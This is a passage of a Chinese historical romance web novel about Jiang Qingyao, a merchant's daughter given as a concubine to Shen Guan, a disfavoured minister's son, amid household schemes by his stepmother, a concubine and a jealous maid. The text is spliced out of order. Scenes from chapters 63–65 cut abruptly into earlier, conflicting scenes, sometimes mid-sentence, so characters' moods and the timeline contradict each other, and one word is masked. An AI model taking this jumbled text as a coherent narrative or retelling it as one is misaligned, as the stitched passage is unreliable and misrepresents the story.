沈昶看着隐在沈观身后全瞧不到踪迹的姜清杳,就觉着心里不顺畅,他刮刺沈观: “六弟好福气。” “二哥客气了,太太垂爱。” 沈昶气更不顺了,但姜清杳就听不了那么多了。她身后也来了人。自以为摆了姜清杳一道的谢姨娘摇风摆柳的出来,在她身后嘲笑: “初来乍到,可要好生伺候六公子。” 姜清杳回头,这才看清谢姨娘长相。是有几分姿色,但刻意求风情却落了媚俗,二十来岁的人生如三十岁。但姜清杳应了声是,又诚心挚意的朝谢姨娘行了一礼: “多谢姨娘。” 她是真心道谢,谢姨娘却仿佛一拳打在棉花上,顿时哽在喉咙,不上不下,胜利的快感转变的莫名其妙,让她败了兴致。 人都散尽了,姜清杳才跟着沈观往外走,从灯明火亮走到一片漆黑,羊肠小道仿佛没有尽头,眼见姜清杳有了喘.息声,沈观才终于推开大门。 姜清杳扫一眼就知道了,沈观不得宠。 院子里漆黑一片,依稀能辨别回字形为数不多的屋舍,只有正房亮着微弱的灯,沈观在院子里停顿了一下,才指着东边两间厢房: “你暂且住那里吧。” 然后沈观就径直回屋了。 姜清杳看着沈观背影,这是没瞧上她? 沈观进门,就瞧见趴在窗户缝偷瞧的阿瓜。阿瓜是他的小厮,眯眼看了好半晌: “姜家送来伺候老爷的姑娘,太太这是赏爷了?明年可就会试了,太太没安好心。” 外头姜清杳朝东厢去了,屋里有书架桌案,后头一个小榻,看来原是沈观书房。她捡了个椅子先坐了,从离开客栈后就一直强撑着发软的腿,这会儿再撑不住了。 结果不算好,但也不差。不枉她费心思打听沈家事,谢姨娘也没叫她失望。沈尚书再好,也比她爹年岁还大了。 姜清杳无奈的笑了下,不知她那好二姐如今怎样了,当初姐妹斗的风生水起,都不想被当玩意儿似的送给沈尚书,她棋差一着,但谁想她爹竟还留了后手,把剩下那个送给内务府大总管了。 还不如沈尚书呢。 从南边到盛京,再到尚书府,姜清杳的伤怀早过了,她简单收拾了,就在矮榻上草草睡下。 第二天一早姜清杳起来,院子里静悄悄的,沈观早不知去处,姜清杳忖着时辰又来昨日的角门。还是崔婆子当值,她现下看姜清杳就有种豆腐掉进煤灰里的可惜感。 姜清杳会看人脸色,也懂人情往来,她给崔婆子又递一把铜钱,崔婆子便悄声与她说个不停。沈观生母前年病死了,一个不得宠的妾没了,还不如雨点打在荷塘动静大。至于沈观,一个庶子样样比嫡子强,沈家几个庶子女,数他最招孟夫人厌恶。 且沈观明年二月就会试了,还有半年光景,孟夫人这会儿却把她送到沈观房里,用意显而易见。 这样看来,她的处境实在不算好。 没多大会儿角门被敲响,姜清杳使了钱,几个婆子热络的帮她将两口箱子搬去沈观院子。 姜清杳正收拾的时候,看见院门口有道影影绰绰的身影,含恨盯着她,待她想一探究竟的时候,人却不见了。 这日夜里,沈观没回来。 第三日,姜清杳早早起来,对镜装扮。 姜泰送女儿是为讨好沈尚书,给姜家讨个皇商的名额。人送进来了,自然要探探口风。而这事顺不顺利,决定着她将来的日子好不好过。 果然午后有人来带她去前院书房,姜清杳就见到了她脸色铁青的爹,也见到了乍然过后蹙起眉头的白胖沈尚书。 沈尚书能在户部这紧要又肥美的位置上一坐多年,还是很懂事的,但他唯有一样,喜欢年少又风情的娇软姑娘。无疑姜清杳是他见过的姑娘里,最满足他一切幻想的人。 姜清杳在角门外哽咽着将进府那日情形都细细说给姜泰,不巧的是姜泰昨日去内务府大总管的外宅,也没听到什么叫人安心的话。 姜清杳看姜泰脸色,期期艾艾: “爹,这天底下哪有人不喜欢银子?爹把东西掩饰了送给大人不就是了?” “要真这么容易,也不必把你们姐妹都送来盛京了。沈尚书谨慎的很,怎么会做这种落人口实埋下隐患的事。” 姜清杳想了想: “那要是六公子孝敬父亲,谁又能说什么呢。” 姜泰忖了忖,从怀里摸出银票递给姜清杳: “快入秋了,明日我叫冬儿给你带几匹好锦缎。” 不是送,而是带。 “爹,我瞧着六公子性子冷,这事儿也不知成不成。” “成不成都得预备着,咱家不缺银子。” 姜家最不缺的就是银子,要不是儿子读书不争气,他也犯不上费劲儿挣皇商,抬姜家地位。 无疑,银子是绝不能缺的。 一路回去,姜清杳推门进东厢,乍然就看见屋里还有人。沈观听见声响回头,姜清杳就怔住了。 姜清杳没错过沈观眼中的淡漠,但掩盖不住自己眼中的惊艳。能叫孟夫人厌恶的相貌,她算见识了。若说沈观比沈尚书年轻,这让姜清杳对他天然就有两分好感,那么如今看见这张脸,怎么也得再添三分。 “六,六爷?” 姜清杳不由得脑袋栽在沈观怀里,将通红的脸颊藏起来。 少年摸摸她柔软的乌发,又亲亲她。 很温柔的说:“这有什么呢?不过爱吃些东西罢了,胃口好呢。” 姜清杳闷闷应了声,只觉得沈观除了骗了她那事,其他时候都真好,又温柔又体贴,是真君子呢! 她正准备抬起头来,不装鸵鸟了。 沈观揽住她腰,低下头,凑近些在她耳边,哑着声:“该请绣娘再做一批新的小衣呢,我瞧着清杳似乎又长了些。有些兜不住了。” 第 63 章 第 63 章 她收回!!!收回刚才的想法!沈观就是个大变态! 姜清杳面无表情,大力推开他,推一下不够,还用那股牛劲儿用脑袋顶着沈观的胸膛,将他顶摔下床去。 少年应声摔在地上,疼得呲牙,还朝姜清杳笑吟吟,丝毫没有悔过的意思。 姜清杳瞪他一眼,心里为刚才的想法懊恼极了。 连带着好几日都用提防的眼神看他。 沈观现在多瞧她一眼都会被她瞪回去。更是近不了她身。 少年有些悻悻的摸摸鼻子,跟在姜清杳身后赔礼道歉:“清杳,莫恼我了。我保证下回再也不说这样的混话了。” 今日是休沐。姜清杳惊呼险些出口,却被这道声音止住了。 “爷。” 一整日的辛劳委屈,终于在极致的畏惧下倾泻出来。 沈观在黑暗里低低的叹了口气: “走吧。” 姜清杳挪了两步,脚步很沉,沈观看着她,忽然蹲下身子。姜清杳诧异了一下才明白过来,顿时红透了脸,小心翼翼在黑暗中四下看过,才悄声道: “爷,这不合规矩。” “规矩是死的,人是活的。” 姜清杳怕被人看见嘲笑沈观,但又尝试着走,虽是累的厉害走的艰辛,仍旧咬牙道: “我能走。” 沈观看她又挪了几步,忽就攥着她腕子,弯腰用力,就把人背在背上了。姜清杳一阵晕眩,沈观已走开了。 “爷!” 姜清杳小声惊呼,拍着他肩膀让他放下,沈观却没理她。她不敢在乱动,怕引来人瞧见。终究是累极了,午饭晚饭也都没吃,这会儿没了力气,渐渐的,就伏在他背上了。 初秋的衣衫很快透出彼此的体温,还有姜清杳那颗怦怦慌跳的心。 一整日的委屈辛劳,在这时候伏在他背上时,顿时消散了。她看着地上二人的影子,甚至生出了几许甜滋滋的味道来。 姜清杳想,他心里该是多少有些自己的吧。不然怎么会来接她?怎么会背她?上回又怎么会为了她,与沈昶敌对呢。 一双细嫩的手轻轻搭在沈观肩头,瞧着多从容,内里却有多慌张。沈观背脊感受到姜清杳砰砰急跳的心,微微抿起嘴唇,但很快就觉察到旁边的小道上,有些许微光。 姜清杳也觉察到了,朝那边看去,正见小路上有人提着灯笼正朝这边望着,阴鸷神情在她看过来时,抿出一丝狰狞的笑。 是沈昶。 姜清杳浑身一凉,慌忙收回眼光,她看沈观微微侧头,想是也看见沈昶了,便默不作声。沈昶没动,沈观也若没瞧见他,背着姜清杳从那条小道前走过。 亥时四刻,各处大多入睡,孟夫人也躺在帐子里昏昏欲睡,芮妈妈从外头进来,隔着帐子低声道: “太太,六爷来接姜姑娘了,背着走了呢。” 孟夫人眼没睁,满意的笑了笑: “那样的姑娘,哪个男人不心动?瞧她受委屈,总要心疼。也警醒警醒姜氏,这么好些日子了,阳奉阴违,寸功不见。这种事,男人总要食髓才能知味,她是六郎房里头一个女人,只凭着姿色,又能纠缠多少?” 芮妈妈应和了两句,又忧心忡忡道: “太太,二爷也来了。” 孟夫人顿了一下,倏的睁眼坐起来,被撩开的帐子显露她的震惊愤怒: “我不是交代下去不许和二郎透露姜氏在春晖阁的么?” 芮妈妈忙跪了: “奴婢交代下去了,这春晖阁上下哪个敢不听太太的话呀……” 她忽的住口,孟夫人看她这模样: “怎么?” 芮妈妈将猜测道: “太太,除了咱们春晖阁,知道姜姑娘一直在春晖阁的,还有六爷院子里的人啊。” 孟夫人顿时想出是谁了,咬牙道: “小贱人,心思不浅啊。” 沈观的院子是沈家后院离正房最远的院子,沈观一路将姜清杳背回去时,姜清杳都快要睡着了。才进院子,采薇就提着灯过来,见沈观是背着姜清杳的,顿时变了脸色。 沈观一边往东厢走一边道: “怎么还没回去?不早了,快回去歇着吧。” 采薇咬了咬嘴唇,看沈观将姜清杳送进东厢,等沈观出来看她还站在原地。 “爷,这么迟了,路上黑,我害怕,今儿我睡在外稍间吧。” “外稍间现改成书房了,只一个矮榻,睡着不舒服。” 沈观从她手中接走灯笼: “我送你回去。” 采薇看了一眼东厢,随着沈观走了。 第二日休沐,沈观才吃过早饭,春晖阁的妈妈又来了,只在院子里便扬声道: “姜姑娘,太太请您过去呢。” 姜清杳睡一夜还没太缓过来,早起恹恹的吃了半碗粥,显然没饱,但委实没什么胃口。听见外头叫,不觉苦笑,便朝主屋看去。 沈观拿着书,似乎看的入迷,直等到姜清杳随人走了,才叫阿瓜研墨。阿瓜磨了许久,忽然想起什么: “爷,采薇今儿怎么这时候了还没来?” 今日姜清杳到春晖阁,孟夫人才用过早饭,看着屋里插瓶儿的菊花抱怨: “瞧瞧这摘的什么花儿,摆的模样也难看。我瞧着还是你办事稳妥,就去园子剪几支菊花来插瓶儿吧。” 姜清杳应声,就有春晖阁的丫头领着她往花园去了。她前脚离开,后脚就有人带着采薇过来了。 菊花种在花园深处,初秋时节除了菊花,月季开的也还不错,姜清杳想孟夫人喜欢牡丹的人,想是喜爱热烈雍容,菊花应时节,但清雅高洁少了几分几许热烈,她选了几支菊花后,便又剪了几支嫣红的月季。 待回到春晖阁,芮妈妈等在廊下,屋里隐约传出噼啪作响的声音,姜清杳略有诧异,芮妈妈笑道: “奴婢犯错儿,太太正在处置,姑娘先往偏间将花插了瓶儿吧。” 姜清杳不是多事的人,便往偏间去了。等插好了瓶儿,芮妈妈赞了几句,便将花瓶抱着进正屋了,片刻出来,就叫人送姜清杳走了。 姜清杳诧异,今儿这就完了? 出了春晖阁,姜清杳还有些恍惚。她摇头失笑,瞧着时辰还早,就与冬儿一同去大厨房了一趟,要了两样点心,煮了一壶菊花枸杞决明子茶带回去,沈观镇日看书,这茶刚好明目清心火。 只是提着东西才进正屋,就听见采薇的哭声。等进了外稍间一瞧,采薇伏在沈观腿上正哭的厉害,依稀可见红肿的侧脸,姜清杳顿时想到方才在春晖阁时正屋里噼啪作响的声音。愣怔间,沈观朝她看过来,眼神竟冷漠沉厉,骇的姜清杳退了一步。 沈观垂眼: “你先下去。” 姜清杳回头看冬儿,从她手里接过食盒: “你先下去吧。” 冬儿愣怔着走了,姜清杳将食盒放在桌上,转身将门也关上了。采薇的哭声渐渐嘶哑,姜清杳直觉不好,果然沈观便道: “是你与太太说,采薇对你多有不敬,请太太责罚她么。” 是问话,但却透着笃定的味道。姜清杳心一凉,但凡涉及采薇,沈观从未信过她。她正要开口,采薇又道: “爷,这事已经过去了,我往后一定敬重姜姑娘,将她当做您一般侍奉,您别再为这些扰了心神不能安心读书,是我不好,给您添了烦恼。” “我没有。” 姜清杳蹙眉,但辩解的苍白无力。春晖阁的人必然知晓她这两日做了什么说了什么,可春晖阁的人说的话,沈观更不会信。采薇听她说话,立刻惴惴不安,仿佛被打怕了,往沈观身上依偎过去,头也不敢回,声音颤抖: “我,我什么都不知道,是掌嘴的婆子说我对你不敬,叫我记在自个儿的本分。那日芮妈妈带郎中来给爷诊脉,骂我下贱不配进屋伺候,这屋里有姑娘做主呢,叫我安分。姑娘,我已经记住了,往后再不会犯了……” 沈观看向姜清杳的眼光越发的冷了,芮妈妈骂采薇的事,他还不知道。但这话听起来,就像是芮妈妈在给姜清杳撑腰。更像是警醒采薇,不要妨碍姜清杳伺候他。 芮妈妈那日说的话是实话,沈家三等丫头只是粗使,不能进屋伺候。但这样的话是不能说到沈观跟前的,姜清杳也不能为芮妈妈说的话辩解,仿佛与春晖阁一心似的。 沈观看脸色难看无话可说的姜清杳,再看采薇脸上清晰的堆叠的巴掌印,被叫去春晖阁掌嘴,这些巴掌仿佛都打在他的脸上。这哪里是在教训采薇?分明是在教训他。是因为他没与姜清杳圆房?还是没有沉湎美色? “阿瓜,先带采薇下去上药。” 采薇立刻攀着他腿直起身子,细弱的声音颤抖: “哥哥,别动怒……为着我,不值当,不拘有什么,都到会试之后再说吧。” 沈观将她扶起来,交在阿瓜手里,并将她送出门,将门关上。但他关上门后却维持着关门的姿势,头也不回: “我同你说过很多次,不要同她计较。” “爷,我没有。” 别说在春晖阁,便是相熟的崔婆子跟前,她都从未提过采薇。面对沈观的不信任,她是心痛的,但她无论如何也不能叫沈观误会她。 “爷,昨日芮妈妈说,您身上的墨梅是我绣的,太太很喜欢,叫我给她绣块帕子……” 知道墨梅是姜清杳绣的,除了姜清杳和沈观,只有阿瓜和采薇。沈观勃然大怒,一掌打在桌上: “你现在还说这样的话!” 本就质地不佳的砚台被一掌打碎,尖锐的碎片刺破沈观的手,就见里头倾洒的残墨里夹缠着几缕暗红色,在桌案上缓缓流淌。 姜清杳吓得倒抽一口冷气,心也揪痛起来。 她说的话,只是告诉沈观,采薇确实去过春晖阁。她不求沈观无条件的信任,但至少遇上什么事,能听她分辨过后再断生死。 一次一次的失望,终至现在,失望透顶。 那些懵懂的感激和喜欢,被沈观扼杀在心里,她心头钝痛,却硬忍着眼泪,倔强的不肯在沈观跟前服软。 沈观回头看她: “你走吧。” “你说什么?” 姜清杳惊诧之际,沈观已转过身子背对她,冷漠道: “你来之前,这个院子至少是清净的。” 姜清杳惊愕过后,笑了一下。那种尖锐的刺痛毫无预警就出现在心里,让她难过的有些窒息。 她以为沈观几次三番,心里多少会有她的。可如今看来,他心里分着三六九等,而她,属于次等的。在他心里,也是个品性不佳的人。否则他怎会查也不查就断定了她的罪名。 否则怎会说出这样的话呢? 这么多年来,头一回依赖上一个人,头一回喜欢上一个人,头一回为了他患得患失,伤心至极。可沈观没要她喜欢啊,是她自己不争气。 人怎么可以这样矛盾呢?拼尽全力的保护,温言软语的说话,体贴的背她回来,却也可以这样恶言相向,一把钝刀子捅进她心里。 姜清杳仓皇的点了点头,满心酸楚。她自问从未对不起沈观,也从来没有顺从孟夫人的意思败坏他,因此得到的惩罚,到头来只换到他不分青红皂白的责难。 她转身就走了,冬儿忙跟上去,主仆径直出了院子。 阿瓜从西厢出来,张了张嘴,看沈观没有现身,也没再出声。 沈观从窗子瞧见姜清杳跑出去,眼光沉沉。 她走不了。 芸香半夏看得一头雾水,表情一言难尽:“小姐,你干什么呢!” 姜清杳很严肃,包袱一扎,千叮咛万嘱咐:“我要回姜府一趟,沈观问你也别说,等沈观回来,你看看他是不是带了道士回来,来给我通个信!” 两个小丫头呆若木鸡,愣愣的点头,看着姜清杳把包袱往怀里塞,少女纤瘦的身形变得臃肿起来。 姜清杳朝府外走去。 沈观带着道士从府门进来。 两人打了个照面。 没等姜清杳说什么呢,少年已经神色古怪的,盯着姜清杳的肚子猛瞧。 第 64 章 第 64 章 沈观视线太直白,神情也太好懂。 姜清杳几乎是立刻就猜到了他在想什么,少女涨红了脸,还没等她解释什么。 少年已经大步上前来,小心的搀扶住她的手臂,盯着她的肚子看,很惊喜的样子:“清杳!” “这是我们的……”孩子吗? 姜清杳咬牙,捂住他的嘴,不许他把剩下的两个字说出来。 臭沈观! 她有可能在他离府不到一个时辰就怀上一个已经好几个月,显怀了的孩子吗?! 采薇搬弄是非姜清杳尚没那么生气,可沈观不辨缘由就断了她的罪责,叫她又气又难过。才为他打算,给他要茶熬粥,都喂了狗似的。 姜清杳赌了这口气,终究她想尽信照顾他,也要被他怀疑,索性远着他,叫他们一家三口好好的过日子。这日起她只在东厢,连日常侍奉也不往跟前,沈观也不找她,倒是好几日都不曾见过面。 这日姜清杳正与冬儿在枇杷树下纳凉,看着琵琶果挂了一树,盘算着什么时候摘了拿蜂蜜熬些枇杷膏,秋冬咳嗽用来正好。多日托病不见的谢姨娘,忽然就造访了。 “呦,你这日子过的,倒比主子还惬意。” 谢姨娘才进院子就瞧见琵琶树下的红泥小炉,薄荷梅子茶的味道飘的满院儿都是。 姜清杳见礼,将谢姨娘让到石桌旁坐了,给她倒了一盏薄荷梅子茶。 “这天儿,入秋了还这样热。” 谢姨娘拿帕子扇了扇,转头上下打量她几眼,嗤笑道: “白瞎了这幅好样貌,别说我没提醒你,六爷待采薇可是不同,亲表妹兼之伺候十年的情分,还是给他姨娘送了终的,你要再不起劲儿,等将来采薇收房,你还有什么日子可过?做妾的,要没个子女,也没宠爱,还有什么活路?” 她把自己说红了眼,又立刻咽下去了,端盏子喝了一口道: “听说六爷从不叫你近身伺候,你自个儿倒是想想法子,总这样下去可怎么办?” 姜清杳明白了谢姨娘的来意。 看来沈观仍旧潜心读书,叫她没了耐性。见姜清杳不做答,谢姨娘转了话头: “你现今在六爷房里,太太可是不好置喙的。你若不得宠,六爷不肯为你多说只言片语,你姜家就是万贯家财也没用。” 这话掐了姜清杳七寸,姜家得不到沈家相助,她就是姜家的弃子。姜家弃了她,她在沈家也将寸步难行。沈观说不说话还真不紧要,但孟夫人却是个能左右沈尚书的人,得罪不起。 姜清杳嗫喏道: “六爷苦心读书,明年就会试了。” 谢姨娘看她这样,就知说的话管用了。这要不是快会试了,也不必如此,但她只道: “书也不能死读,你瞧二爷,该读书的时候读书,该歇的时候得歇,这乡试才能考了亚元。六爷这么死读,吊着底儿才算考过了。太太就是怕六爷还这么着敖坏了身子,又考不好,才叫你来伺候。可你倒好,只顾着自个儿轻省。” 姜清杳抿着嘴唇垂头不语,谢姨娘叹气: “老爷太太都盼着二爷和六爷都中了,这可是满盛京难寻的佳话!老爷太太一高兴,你姜家的事还不好说?等姜家做了皇商,你又怎么可能只是个妾?” 谢姨娘的鬼话,姜清杳一个字儿也不信,但也只能道: “我记下了。” “记下有什么用?” 谢姨娘从袖中抽了本书放在她跟前,姜清杳扫一眼,惊恐的移开眼,脸颊一直红到耳朵根儿。 “羞什么?都进了六爷的房,做了六爷的女人,这种事早该经了。” 谢姨娘慢慢起身,点了点那本避火图: “好好学学,让六爷身心舒泰,才能读好书,明年高中。” 姜清杳要起来送她,她按住姜清杳: “好好儿学,你让太太高兴了,比什么都强。” 姜清杳被按下去了。 谢姨娘走后,姜清杳就把避火图挥到一边烦闷道: “怄了这么好些天,自个儿再往前凑,怪没意思的。” 冬儿在旁忍笑,她不知那天到底发生了什么事,只以为是二人怄气了。 姜清杳却想怎么能搪塞过孟夫人,与沈观也不能就这么一直怄下去。想他几次在沈昶跟前护着自己,那回在去书房的小道上,甚至于沈昶动了手,不由心软下来。转念又想那日他的神情他说的话,什么叫采薇不是生事的人?合着都是她生的事? 这一下又恼起来,把帕子绞来绞去,好似那是沈观,让她磋磨着解气。 想了两日也没个结果,倒是快中秋了,那日沈观必然休沐,姜家也肯定借机给沈家送节礼,倒是个时机,顺其自然的下了这个台阶儿。 这口气,也只能忍了。 但这日夜里,忽然就狂风大作雷霆雨注。 东厢窗子吹的梆梆作响,姜清杳是睡不着了。才坐起来,就觉着屋里闷热的很,可风太大了,又不敢开窗。她躺着听风雨声,却是渐渐觉着屋里凉快下来,临近清早,甚至觉着几分冷意。 院子里轻微声响,姜清杳将窗户推了缝隙,一股冷风钻进来,她打了个激灵。 秋季一场雨一场寒,到现在还没停的大雨,不但解了初秋的燥热,还叫这天迅速冷下来。她扫一眼檐下正撑伞的沈观,还是那身夏天的衣裳,走入雨中。 “六爷!” 姜清杳叫了声,沈观看过来。 “天凉,添件衣裳再走。” 但沈观脚步匆匆就走了。 姜清杳哆嗦着关了窗子,等起床出门,才意识到今日的冷,可与她想的还不一样。 晌午阿瓜匆匆回来,翻找了一身衣裳带走。将要黄昏时,姜清杳就在檐下煮了姜茶。 没一会儿阿瓜焦急的声音传来,一叠声叫着采薇,可采薇这会儿还没过来。姜清杳站在檐下就见沈观脚步匆匆进来,身上的衣裳湿了大半。走到一半,他忽踉跄了一下。 “爷!” 阿瓜惊叫,偏抱着书匣,姜清杳下意识过去扶,可还没走到跟前,他又站稳了,姜清杳便停在半路。才要转身回去,沈观忽又倒下了,不偏不倚,正对着姜清杳。 姜清杳吓一跳,虽奋力扶着,可哪撑得住?连退几步,直到沈观伸手抵在墙上,才总算缓住身形。二人之间,倒成了将姜清杳困囿于沈观身前的局势。 姜清杳又不争气的心慌了,惴惴抬眼,看沈观紧蹙眉头闭着眼,可见是头晕。阿瓜慌将书匣扔进冬儿怀里,就与姜清杳合力将沈观送进正屋。三人忙碌,谁也没看见院门处沉着脸的采薇。 方才沈观那般逼近,姜清杳现在还慌张不已,心想这台阶儿来的,也太迅猛了些。将沈观安置后,看他身上湿透了的衣裳,姜清杳问阿瓜: “不是打着伞?爷什么湿成这样?” “要不是二爷……” “阿瓜。” 沈观虚弱的阻止阿瓜,姜清杳探手试了下额头,果然已滚烫的烧了起来。 “还是去禀报太太,趁着天还没黑,快请个郎中来。” “不用,叫阿瓜出去请就是了。” 阿瓜去开柜子,摸了半晌脸色难看,姜清杳见状从荷包摸出一两银子递过去。阿瓜踟蹰着,到底还是接了银子跑出去。 但阿瓜跑了,姜清杳扭头就发愁。沈观这一身湿衣裳谁给换?总不能叫他还穿着,那可就病的越发厉害了。 “爷,您换个衣裳?” “你先下去吧。” 沈观这声音听起来就不叫人放心,但姜清杳还是出去了。她才出正屋,采薇与她错身而过的进去,但没片刻也出来了。姜清杳在檐下盛着姜茶,看采薇站在正屋门外。 屋里响起咳嗽声,采薇转头进屋,沈观已自己换过衣裳,只穿着一身中衣,衬着脸色越发的不好。姜清杳送姜茶进去,才要让沈观喝,采薇忽然拦道: “还是郎中来看了再说吧。” 背着沈观,她语调柔软,眼底却显然的不信任,仿佛姜清杳在姜茶里下了毒。 今日骤寒,沈观是受凉,及时喝些姜茶逼出寒气,是会好的快些。采薇当着沈观的面儿就敢耍这种挑是非的把戏,姜清杳抬手,一盏姜茶自己就喝下去了。 采薇诧异,姜清杳扬声唤冬儿,冬儿将红泥小砂锅端进来,里头还有两盏姜茶。她重新倒了,越过采薇: “爷,我煮了姜茶,您喝么?” 沈观睁眼,看姜清杳冷淡的眉眼,一阵晕眩,伸手过去。 这是要喝的意思,姜清杳就去扶他起来,采薇却过来挤开她,不可避免的撞倒沈观,惹得沈观又是一阵晕眩。 “采薇……” 沈观轻轻推了她一下,采薇满脸委屈的让开了。 入夜,阿瓜总算请来郎中。沈观是染了风寒,只是来势汹汹。阿瓜是给了一两银子的,又随郎中回去抓药带回来,天色已然不早。这时候大厨房已经封火,能熬药的只有姜清杳的小碳炉和砂锅了。 “给我吧。” 阿瓜才把药送到姜清杳手里,采薇顿时来夺,姜清杳忙就松手。包药的纸哪经得住这样撕扯,这回她没忍,立时就道: “你夺什么?这可不是砚台!” 阿瓜是眼瞧着采薇去夺的,听了这话,眼珠子转了一下,却没多话。采薇拿着药: “我给爷熬,不劳烦你。” 姜清杳本要回一句那也别使我的碳炉了,可看着沈观,终究忍下去了。没人给她做主,自己争了气还要挨责怪。采薇撞开她要出去,沈观忽然道: “采薇。” 采薇又回到床边,沈观不知和她说了什么,她哽咽道: “要不是她,二爷能这么算计您?” 沈观头晕的睁不开眼: “没有她,沈昶就不算计我了么?” 这是句公道话,采薇无话可说。 “天色不早了,还下着雨,你回去吧。” “奴婢今日留下来照顾爷。” 姜清杳看见沈观微微蹙眉,他又道: “回去吧。” 采薇咬了咬牙,把药愤愤塞回姜清杳手里就走了。 屋里一时静默,姜清杳看阿瓜身上也是湿衣裳,这一路请郎中还没换: “把碳炉提到外稍间吧,你去换身衣裳。” 阿瓜有些难为情,毕竟他虽没针对过姜清杳,可也没给姜清杳过好脸色。他讷讷应了,把碳炉提进来,姜清杳就在外稍间熬药,他忙跑回去换衣裳。 阿瓜才跑出去,姜清杳就听见了几声响亮的喷嚏。看样子阿瓜也是要病了。 姜清杳很好奇沈观的衣裳是怎么湿的,读书又不会站在雨里。但她没问。 阿瓜换好衣裳过来,耸肩搭背,这是畏寒的样子。姜清杳暗自叹气,熬好药阿瓜要去给沈观送,姜清杳拦住了: “你是不是也病了?” 阿瓜笑了笑: “是有点儿头晕,方才发冷,这会儿热,不妨事。” 姜清杳摇头: “去把药吃了。” 她端着药就进屋了。 沈观并没睡沉,虽烧的难受,却还强撑着在心里温习今日看过的书,听见声响就睁眼,看见姜清杳冷淡着眉眼进来。他勉力坐起来,就着她手把药吃了,姜清杳就要走。沈观看她背影,忍不住笑道: “气性倒不小。” 少年说着,还探手来摸姜清杳的额头。 姜清杳:…… 呜呜呜,说实话反而不信了。说假话他还那么认真。 沈观笑起来,转念就说:“不过清杳说的有道理,平日我定是有做的不好的地方,才会让清杳刚才说出那些话来。” “清杳说,和我在一起,只希望我能让你开心些。可见我平日是做得不够了。” 姜清杳有点懵。 少年凑近些,小声:“今天晚上,让我服侍清杳开心吧?好不好?” 第 65 章 第 65 章 沈观将服侍清杳开心说得很诱人,凑在姜清杳耳边说了好一会儿。 他声音好听,说得话却混,越说姜清杳耳根越红。 眼瞅着就要被少年那张漂亮脸蛋蛊惑的点头了,迟疑一瞬,还是坚定的摇头。 “不要。” 姜清杳推开他。 少年错愕一瞬,见姜清杳果真很坚定,瞧着是真不想的,沈观怔在那儿,一时间也不想着服侍不服侍的事儿了,只心里反复想起姜清杳的神情。 似乎……似乎没以前那么喜欢他的模样了。 姜清杳进门当晚采薇就知道人进了沈观房里,硬忍到沈观在才现身,就是想叫姜清杳知道,她在沈观心里的分量,让姜清杳自个儿掂量。 可如今沈观手里这件衫子却叫她不安,尤其当着姜清杳的面,她及时制止了阿瓜的话。 姜清杳是带冬儿来见沈观,并将今日的事禀报给他。如今处境复杂,更该越发小心,她便禀报的事无巨细,包括孟夫人嘱咐的那一句。 姜清杳没忽视沈观眼底一闪而过的嘲弄。她不太理解一个在嫡母手下讨生活的庶子,缘何会有这样的神情。那种轻慢,透着对于小手段的瞧不起。 她很快收回思绪,悄声道: “爷,今儿只怕还要劳烦您。” “嗯。” 那边阿瓜与采薇不知说笑什么,险些压过沈观的声音。姜清杳主仆回到东厢,冬儿就忍不住赞了起来。 “姑娘,这六爷年轻不说,生的可真俊俏。” 她看出沈观对姜清杳的淡漠,却没戳破,只捡好听的道: “庶子也有庶子的好处,等将来咱们姜家做了皇商,姑娘与六爷那就般配了。只是可惜了,这房里太寒酸了些。” 姜清杳低声道: “听说六爷生的好,书读的也好,处处压过嫡子,太太不喜欢他。” “生的好,是看出来了。可之前打听的,六爷乡试是吊着底儿进的,但沈家嫡出的二爷可是亚元,这差的不是一星半点儿,哪里比嫡出的好了?” 姜清杳抿了抿嘴,没将猜测说出口。 瞧孟夫人如今的做派,乡试前还不知做了什么呢。她转口问冬儿: “你今儿出来时,二姑娘那边有消息了么?” 冬儿摇头: “老爷又跑两回了,回回脸色都不好,我听他与大爷说话,好像徐大人不喜欢二姑娘。” 姜清杳想不喜欢也好,把人退回去,往后日子还能好过些。 沈观请安后又去了沈尚书书房,回来站在东厢门口与姜清杳说了结果,然后他在姜清杳道谢后沉默了一下,又道: “太太让你明日与我一同去请安。” 姜清杳哑口无言,孟夫人这算什么?是敲打她还是敲打沈观?沈观浅淡的笑容里仿佛蕴含了什么,姜清杳觉着这种时候是必要表白一番心迹了: “爷,我知晓我往后的依仗在哪儿。” 这个答案,沈观还算满意。他垂眼依稀看见腰腹间一朵墨梅,沉吟道: “她们总会想法子让你屈服。” 姜清杳也垂头,声如蚊讷: “我本就是爷的通房。” 这回换沈观怔了一下。是啊,她是他的通房,有些事是情理之中,但至于沉不沉湎,智不智昏,全看他自己了。 沈观神色淡漠走了。 冬儿在里头听他们说话,有些担忧: “在南边儿时多少富家公子慕着姑娘,还不如早早儿在南边定下亲事呢。” 姜清杳却清醒的很,她是庶出,那些富商嫡子不会娶她做妻,但做妾和嫁给庶子对于她那个做商人的爹来说,效用都远不如现在。她那有些宠爱的二姐都还是这样结果,她不觉着自己会有多特殊。 昨日的银票不过是趟趟路,今日沈尚书再度收下银票,大约会给姜泰一句明白话了。 第二天吃过晚饭,姜清杳换了身不打眼的衣裳,跟沈观去春晖阁请安。谢姨娘照旧在孟夫人身边奉承,孟夫人身边还簇了个娇俏姑娘,十二三岁的样子,眉眼间几许骄纵。 一屋子人说笑,姜清杳总觉有道灼灼目光盯着自己,让她局促不安,她悄悄抬头望过去,就见沈昶朝她勾唇一笑,姜清杳忙移转目光,就对上一道凌厉眼神。 二少夫人何氏是个厉害的,姜清杳低头,她又去看沈昶,沈昶虽不怕她,但碍在人前,还是收敛了目光。 沈昶眼神太过□□的显露心事,这让姜清杳慌乱不已,下意识往沈观跟前依偎。沈观照旧沉默在人群外,就觉着后背被人轻轻挨上。他余光扫见何氏针一样的眼光,心生几许愉悦。 送到他手里来的好事,断没有松手的道理。 挨了一刻来钟,孟夫人总算放了人。姜清杳跟着沈观出来,还在院子里,就听身后沉沉脚步,继而有人贴了上来。姜清杳只觉头皮发麻,忙紧走两步,凑到了沈观身旁。 “六郎。” 沈昶叫住沈观,沈观低头看姜清杳有些惊慌的神情,上前半步,将人挡在身后: “二哥。” 沈昶看不见姜清杳了,脸上假笑也懒怠敷衍。 “二月就会试了,这会儿时辰还早,不若咱们去大书房看会儿书去。” 沈观微侧头朝姜清杳道: “你先回去吧。” “哎,别啊。总得有个研墨的不是?” 沈昶生怕姜清杳逃了,竟探手去扯姜清杳。沈观伸手去拦,廊下芮妈妈瞧着大惊,忙吩咐小丫头两嘴就扬声道: “二爷,太太还有话与您说呢,您快回来!” 